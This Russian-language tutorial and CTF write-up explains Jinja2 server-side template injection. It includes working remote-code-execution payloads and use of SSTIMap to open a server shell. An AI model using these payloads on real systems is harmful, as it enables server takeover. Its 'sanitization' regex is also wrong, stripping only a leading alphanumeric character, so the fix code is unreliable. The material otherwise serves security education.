SSTI exploitation

SSTI exploitation

@cherepawwka

Всем привет!

Сегодня мы на простом примере довольно подробно разберём уязвимость SSTI и закрепим изученный материал, решив несложный таск на платформе CodeBy Games тремя способами.

SSTI

Приступим!


Введение

Что такое Server Side Template Injection?

Server Side Template Injection (SSTI) — это веб-эксплойт, который использует небезопасную реализацию механизма шаблонов.

Что такое механизм шаблонов? 

Механизм шаблонов позволяет создавать статические файлы шаблонов, которые можно повторно использовать в приложении.

Что это значит?

Рассмотрим страницу, на которой хранится информация о пользователе, /profile/<user>. В нашем случае демонстрационное приложение написано на веб-фреймворке Python Flask:

Код может выглядеть примерно так:

Код уязвимого приложения
from flask import Flask, render_template_string
app = Flask(__name__)

@app.route("/profile/<user>")
def profile_page(user):
  template = f"<h1>Welcome to the profile of {user}!</h1>"

  return render_template_string(template)

app.run()

Этот код создает строку template и добавляет в нее пользовательский ввод. Таким образом, контент может загружаться динамически для любого пользователя, сохраняя при этом согласованный формат страницы.

Примечание. Flask — это веб-фреймворк, а Jinja2 — используемый механизм шаблонов.

Как можно эксплуатировать SSTI?

Рассмотрим приведенный выше код, особенно строку template. Переменная user, которая вводится пользователем в URI, встраивается непосредственно в шаблон, а не передается как данные. Это означает, что все, что вводится пользователем, будет интерпретироваться движком веб-приложения.

Каково влияние SSTI?

Как следует из названия, SSTI — это эксплойт на стороне сервера (server-side), а не на стороне клиента, такой как, например, Cross-Site Scripting (XSS).

Это означает, что уязвимость более критична, потому что вместо захвата учетной записи пользователяна веб-сайте (для чего часто используется XSS) злоумышленник может захватить сервер.

Возможности SSTI практически безграничны, однако основная цель эксплуатации, как правило, заключается в удаленном выполнении кода (RCE).

Обнаружение уязвимости

Поиск точки внедрения

Строка эксплойта должна быть куда-то передана. Это и называется точкой внедрения. Существует несколько мест, с которыми мы можем взаимодействовать в приложении, например, URL-адрес (и параметры в нем) или поле ввода. Важно также не забывать проверять наличие скрытых входных данных, это очень удобно делать при помощи прокси, например, Burp.

В нашем примере есть страница, на которой хранится информация о пользователе: http://10.10.237.109:5000/profile/<user>. Эта страница принимает пользовательский ввод.

Если мы введём имя, то увидим в предполагаемый результат:

Веб-страница профиля в приложении

Фаззинг

Фаззинг — это метод поиска и определения уязвимости сервера путем отправки нескольких символов с целью нарушить работу системы.

Это можно делать вручную или с помощью специального ПО (например, ffuf или Burp Intruder). В этой задаче в образовательных целях мы рассмотрим ручной процесс.

К счастью для нас, большинство шаблонизаторов используют аналогичный набор символов для «специальных функций», что позволяет относительно быстро определить, уязвимо ли приложение к SSTI. Например, известно, что символы ${{<%[%'"}}% используются во многих шаблонизаторах.

При ручном фаззинге эти символы стоит отправить по одному в уязвимый параметр, располагая их один за одним.

Процесс фаззинга выглядит следующим образом:

Фаззинг точки
Фаззинг точки

Продолжим этот процесс, пока не получим сообщение об ошибке или некоторые символы не начнут исчезать из вывода:

Полученная ошибка

Идентификация используемого шаблонизатора

Теперь, когда мы определили, какие символы вызвали ошибку приложения, пришло время определить, какой механизм шаблонов используется. В лучшем для нас случае сообщение об ошибке будет включать информацию об используемом механизме шаблонов, что означает, что этот шаг выполнен. Однако, если это не так, мы можем использовать дерево решений, чтобы определить механизм шаблонов:

Дерево решений

Источник: PortSwigger

Несложно ориентироваться по приведенному дереву решений: необходимо использовать нагрузку с самого левого края (корень дерева) и включить её в наш запрос. Далее, в записимости от результата, нужно следовать по соответствующим стрелкам вправо.

  • Зеленая стрелка — полезная нагрузка обрабатывается шаблонизатором (т.е. 49);
  • Красная стрелка — выражение отображается в выводе (например, ${7*7}).

В нашем примере процесс выглядит следующим образом:

Двигаемся по красной стрелке

Так как приложение при используемой нагрузке отражает пользовательский ввод, мы идем по красной стрелке:

Двигаемся по зелёной стрелке

Приложение распознаёт ввод пользователя и обрабатывает его, поэтому мы идем по зеленой стрелке. Этот процесс продолжается до тех пор, пока мы не дойдем до конца дерева решений.

Распознаём шаблонизатор — Jinja2

Глядя на приведенное выше дерево может возникнуть вопрос: почему Jinja2, а не Twig? Вы должны знать, что одна и та же полезная нагрузка может иногда возвращать успешный ответ более чем на одном языке шаблонов. Например, полезная нагрузка {{7*'7'}}возвращает 49 в Twig и 7777777 в Jinja2. Поэтому важно не делать поспешных выводов на основании одного успешного ответа.

Исходя из полученных результатов, можно сделать вывод, что приложение использует механизм шаблонов Jinja2.

После определения механизма шаблонов нам теперь нужно изучить его синтаксис. Лучший источник для этих целей — официальная документация.

При изучении механизма шаблонов всегда нужно искать следующую информацию (независимо от языка или механизма шаблонов):

  • Как начать print statement;
  • Как закончить print statement;
  • Как начать block statement;
  • Как завершить block statement.

В случае с нашим примером в документации указано следующее:

  • {{ — начало print statement;
  • }} — конец print statement;
  • {% — начало block statement;
  • %} — конец block statement.


Эксплуатация

На данный момент мы знаем:

  • Что приложение уязвимо для SSTI;
  • Точку внедрения;
  • Используемый механизм шаблонов;
  • Синтаксис механизма шаблонов.

Планирование атаки

Давайте сначала спланируем, как мы будем эксплуатировать обнаруженную уязвимость.

Поскольку Jinja2 — это механизм шаблонов на Python, мы рассмотрим способы запуска команд оболочки в Python. Поиск в Google помогает найти различные способы запуска команд операционной системы, ниже я выделю некоторые из них:

Методы вызова команд ОС при помощи Python
# Метод 1
import os
os.system("whoami")

# Метод 2
import os
os.popen("whoami").read()

# Метод 3
import subprocess
subprocess.Popen("whoami", shell=True, stdout=-1).communicate()

Создание POC-нагрузки (универсальной)

Объединив все полученные знания, мы можем создать Proof Of Concept нагрузку (POC). Следующая полезная нагрузка использует синтаксис шаблонизатора и команды и оболочки, объединяет их в конструкцию, которую обработает механизм шаблонов:

http://10.10.237.109:5000/profile/{% import os %}{{ os.system("whoami") }}
Результат запроса

Однако Jinja2 по сути является "подъязыком" Python, который не интегрирует оператор import, поэтому приведенная выше нагрузка не сработает.

Создание POC для Jinja2

Python позволяет нам вызывать текущий экземпляр класса с помощью .__class__, и мы можем вызвать получить этот атрибут для пустой строки:

http://10.10.237.109:5000/profile/{{ ''.__class__ }}
Результат работы полезной нагрузки

Классы в Python имеют атрибут с именем .__mro__, который позволяет нам подняться вверх по унаследованному дереву объектов:

http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__ }}
Результат работы полезной нагрузки

Поскольку нам нужен корневой объект, мы хотим получить доступ ко второму объекту полученного списка (индексу 1):

http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1] }}
Результат работы полезной нагрузки

Объекты в Python имеют метод .__subclassess__, который позволяет нам спускаться по дереву объектов:

http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}
Результат работы полезной нагрузки

Теперь нам нужно найти объект, который позволит нам запускать команды оболочки. Поиск при помощи Ctrl-F дает нам совпадение:

Поиск subprocess

Поскольку весь этот вывод представляет собой просто список (массив в Python), мы можем получить к нему доступ, используя его индекс. Мы можем получить нужный индекс либо методом проб и ошибок, либо посчитав его позицию в списке.

В этом примере позиция в списке 400 (индекс 401):

http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}
Результат работы полезной нагрузки

Приведенная выше полезная нагрузка вызывает метод subprocess.Popen, и теперь все, что нам нужно сделать, это правильно вызвать его для выполнения команд ОС:

http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
RCE!

Теперь мы можем манипулировать запросом, как нам угодно:

Запрос, передающий команду id, и результат её вывода

Процесс создания полезной нагрузки занимает некоторое время, особенно если мы делаем это в первый раз, однако важно понять, почему эта нагрузка работает.

Для справки: на GitHub есть великолепный репозиторий в виде шпаргалки по полезным нагрузкам для всех веб-уязвимостей, включая SSTI. Также не могу не упомянуть портал HackTricks, который также довольно хорошо описывает эксплуатируемую уязвимость.


Исследование

Теперь, когда мы эксплуатировали приложение, давайте посмотрим, что на самом деле происходило при внедрении полезной нагрузки.

Код приложения, который мы эксплуатировали, был приведен в начале статьи:

from flask import Flask, render_template_string
app = Flask(__name__)

@app.route("/profile/<user>")
def profile_page(user):
  template = f"<h1>Welcome to the profile of {user}!</h1>"

  return render_template_string(template)

app.run()

Посмотрим, что происходит внутри приложения при разном пользовательском вводе:

Строка template приложения в зависимости от ввода
# Исходный код
template = f"<h1>Welcome to the profile of {user}!</h1>"

# Код после внедрения cherepawwka
template = f"<h1>Welcome to the profile of cherepawwka!</h1>"

# Код после внедрения {{ 7 * 7 }}
template = f"<h2>Welcome to the profile of {{ 7 * 7 }}!</h1>"

Ранее мы узнали, что Jinja2 будет обрабатывать код, который находится между набором символов {{ и }}, поэтому эксплойт сработал.


Устранение уязвимости

Что можно сделать, чтобы избавиться от уязвимости в приложении?

Безопасные методы

Большинство шаблонизаторов имеют функцию, позволяющую передавать ввод в виде данных, а не объединять ввод в шаблон.

В Jinja2 это можно сделать с помощью второго аргумента:

Безопасный метод передачи пользовательского ввода в шаблон
# Insecure: Concatenating input
template = f"<h1>Welcome to the profile of {user}!</h1>"
return render_template_string(template)

# Secure: Passing input as data
template = "<h1>Welcome to the profile of {{ user }}!</h1>"
return render_template_string(template, user=user)

Санитизация данных

Вводу данных пользователя нельзя доверять. Каждое место в приложении, где пользователю разрешено вводить данные, должно быть "дезинфицировано".

Это можно сделать, спланировав, какой набор символов мы хотим разрешить, и добавив его в белый список.

Например, В Python это можно сделать так:

Санитизация данных при помощи regex
import re

# Remove everything that isn't alphanumeric
user = re.sub("^[A-Za-z0-9]", "", user)
template = "<h1>Welcome to the profile of {{ user }}!</h1>"
return render_template_string(template, user=user)

Самое главное не забывать читать документацию используемого механизма шаблонов :)


Практика

Для закрепления изученного материала решим простой таск с платформы codeBy Games под названием "Поздравительное приложение":

Описание задания

К заданию приложена подсказка, где нам сообщают, что приложение используем шаблоны Flask. Мы уже знаем, что таск будет связан с SSTI, так что приступим к решению.

Перейдем на страницу приложения:

Главная страница приложения

Сразу видим ссылку на, скорее всего, уязвимый шаблон:

Страница с именем пользователя

Так как мы знаем, что приложение написано на Flask, вероятнее всего в качестве шаблонизатора используется Jinja2. Однако давайте пройдем по дереву решений:

Идём по красной стрелке
Идём по зелёной стрелке
Распознаём Jinja2

Шаблонизатор идентифицирован!

Осталось дело за малым: подобрать полезную нагрузку и эксплуатировать её.

Способ 1. Аналогичный примеру ход решения

Начинаем подбирать полезную нагрузку аналогично рассмотренному в теории примеру:

Начало эксплуатации
Получение субклассов
Поиск нужного субкласса
RCE!

Мы получили RCE! В этом случае искомый субкласс имеет индекс 361. Поместим запрос в Repeater и начнём искать флаг:

Запрос с полезной нагрузкой, результат команды id

Мы помним, что искомый флаг находится в переменной SECRET_KEY в конфигурации приложения. Посмотрим директорию, из которой запущено приложение:

Содержимое директории приложения

Мы находим 2 файла: app.py и requirements.txt. Второй файл нас не интересует, так как представляет собой лишь зависимости, необходимые для работы приложения а Flask, а первый скрипт (app.py) содержит исходный код нашего приложения, в том числе и конфигурационные переменные:

Флаг получен!

И очередные баллы в копилке :) Ниже я представил код уязвимого приложения и выделил место, из-за которого мы смогли получить RCE:

Код уязвимого приложения

Способ 2. Payloads All The Things | HackTricks

выше я говорил, что на GitHub есть репозиторий в виде шпаргалки по полезным нагрузкам для всех веб-уязвимостей, включая SSTI. Давайте же возьмём оттуда нагрузку и попробуем её:

Находим нужный раздел
Получаем список полезных нагрузок

Попробуем по одной нагрузке из каждого раздела:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Полезная нагрузка #1
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Полезная нагрузка #2
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Полезная нагрузка #3

Как мы видим, эксплуатация успешна, и с заготовленными ранее полезными нагрузками добиться RCE было ещё проще!

Способ 3. tplmap | sstimap

Для автоматизации поиска и эксплуатации SSTI-уязвимости умные люди написали скрипт tplmap, который по сути своей работы и даже названием напоминает sqlmap.

Скачать его можно из репозитория на GitHub.

К сожалению, подружить его с моей системой не удалось, так что его изучение я оставляю на ваше усмотрение :) Скрипт последний раз обновлялся 5 лет назад и использует "поломанные" библиотеки, с установкой которых возникают проблемы.

Но, немного поискав в интернете, я нашел форк на этот репозиторий, в котором vladko312 переписал старый инструмент, расширив его функционал. Новая тулза называется SSTIMap (ещё больше похоже на SQLMap), и скачать её можно отсюда.

В отличие от tqlmap, с ней проблем не возникло:

Клонирование репозитория
Попытка эксплуатации SSTI на уязвимом ресурсе

Я сначала не нашел, каким образом эксплуатировать уязвимость в URL без параметра, поэтому в итоге скрипт помечает параметр как неуязвимый:

Тестируемые параметры неуязвимы :(

Однако, почитав --help (всегда стоит читать мануалы), я нашел похоже интересующий меня параметр:

Параметр маркера

Попробуем вставить звёздочку по уязвимому пути:

Запуск скрипта
Результат!

На этом этапе я сильно обрадовался, так как параметр действительно позволяет нам делать многое. Давайте же запустим его с переключателем --os-shell, чтобы получить интерактивную оболочку на уязвимом сервере:

Пытаемся получить шелл
Интерактивный шелл

Кстати, судя по имени хоста, мы находимся в докере :)

Осталось лишь получить заветный ключ, как мы делали ранее.

Чтение исходников из шелла

Приложение и хост скомпрометированы! Очевидно, что способ эксплуатации с SSTIMap наиболее удобен и прост (как "раскрутка" SQL-инъекций с SQLMap), однако этот вариант не всегда может сработать, особенно если речь идёт о фильтрах и WAF. Поэтому понимание работы уязвимости и умение эксплуатировать её вручную — ценный навык. А скрипт идёт в мою копилку тулзов для пентеста👾

На этом статья подошла к концу. До новых встреч!

До новых встреч!


Report Page